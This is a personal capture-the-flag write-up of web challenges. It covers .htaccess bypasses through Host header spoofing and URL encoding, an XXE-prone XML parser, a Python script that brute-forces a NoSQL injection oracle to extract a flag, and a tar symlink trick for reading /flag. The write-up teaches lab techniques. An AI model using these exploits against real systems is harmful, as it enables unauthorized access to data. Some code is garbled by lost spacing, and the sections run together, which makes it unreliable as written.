It was the second time I participated in CTF, this time I got 4 challenges solved.
Web
helicoptering (.htaccess bypass)
This challenge is about bypassing the restrictions of .htaccess file.
The first .htaccess file:
1 2 3
RewriteEngine On RewriteCond %{HTTP_HOST} !^localhost$ RewriteRule ".*" "-" [F]
Solution: Change the header host to localhost
The second .htaccess file:
1 2 3
RewriteEngine On RewriteCond %{THE_REQUEST} flag RewriteRule ".*" "-" [F]
Since %{THE_REQUEST} is getting the full HTTP Request Line, like GET /two/flag.txt HTTP/1.1, and it will check if the word flag is in there, we need to encode some charactors using ascii to bypass the restriction.
Solution: Change the request flag.txt to f%6clag.txt (%6c is the ascii of l)
Treasure Hunt( JWT key guess)
This challenge asked us to find out the treasure
On Register page, there’s a Treasures field, which means we would need to find out the treasures field for some account.
After registering an account, I got the JWT token.
In app.py, we could see the uploaded file would be unzipped, and a WORKBOOK file was extracted from it,.
1 2 3 4 5
WORKBOOK = "xl/workbook.xml"
defextractWorkbook(filename, outfile="xml"): with ZipFile(filename, "r") aszip: zip.extract(WORKBOOK, outfile)
so I rename the file to fizzbuzz.rar and then unzipped it, then we could find the file xl/workbook.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
deffindInternalFilepath(filename): try: prop = None parser = etree.XMLParser(load_dtd=True, resolve_entities=True)#here's the issue, it allows to resolve entities -> XXE attack is allowed tree = etree.parse(filename, parser=parser) root = tree.getroot() internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")#here trying to find the parent node if internalNode != None: prop = { "Fieldname":"absPath", "Attribute":internalNode.attrib["url"], "Value":internalNode.text #it's trying to get value of the tag } return prop
router.get('/edit', ensureAuthed, async (req, res) => { let q = req.query try { if('noteId'in q && parseInt(q.noteId) != NaN) { console.log("no problem with noteId") const note = awaitNote.findOne(q) console.log("no problem with finding Note")
if(!note) { return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' }) }
if(note.owner.toString() != req.user.userId.toString()) {//here it will check the owner return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' }) }
res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents }) } else { console.log("Note Id has problem") return res.render('error', { isLoggedIn: true, message: 'Invalid request' }) } } catch { console.log("this is from the exception") return res.render('error', { isLoggedIn: true, message: 'Invalid request' }) } })
At least req.query could be leveraged!!
We can set different content to brute force/guessing the content
1 2 3 4 5 6
{ "noteId":1337, "content":{ "$gt":'a' } }
Here’s the solution. Of course, burpsuite intruder is another choice.
from requests import Session from random import randint from string import printable
charset = sorted(printable)[6:]
defregister_user(username, password): r = session.post(f'{url}/register', json={'username': username, 'password': password})
# returns True if the note exists deforacle(q): r = session.get(f'{url}/edit?noteId=1337&contents[$gt]={q}') return'You are not the owner of this note!'in r.text
flag = '' while flag[-1:] != '}': l = 0 u = len(charset) whileTrue: m = (l + u) // 2
candidate = flag + charset[m] if oracle(candidate): ifnot oracle(flag + charset[m + 1]): if charset[m + 1] == '}': flag = flag + charset[m + 1] else: flag = candidate print(flag) break l = m - 1 else: u = m + 1
no-symlink(Symlink and file permission trick)
The website allows us to upload a tar file, and it will extract the file.
The difficulty is that it detects the symlink files and delete all.
post '/'do unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile]) return err "File not sent" end unless tempfile.size <= 10240 return err "File too big" end path = SecureRandom.hex 16 unlessDir.mkdir "uploads/#{path}", 0755 return err "Error creating directory" end unless system "tar -xvf #{tempfile.path} -C uploads/#{path}" return err "Error extracting tar file" end
links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f| # Don't show . or .. if [".", ".."].include? File.basename f false # Don't show symlinks. Additionally delete them, they may be unsafe elsifFile.symlink? f File.unlink f false # Don't show directories (but show files under them) elsifFile.directory? f false # Show everything else else true end end
return ok links end
Solution:
Create a random text file(or any other files) for just getting the uploaded path(since the symlink will not be shown on the page)
Create a directory flagDir and in the directory, generate a symlink: ln -s /flag flag -> generate a symlink for /flag
Set up file permission(100 -> read only) for the directory so that it cannot be deleted.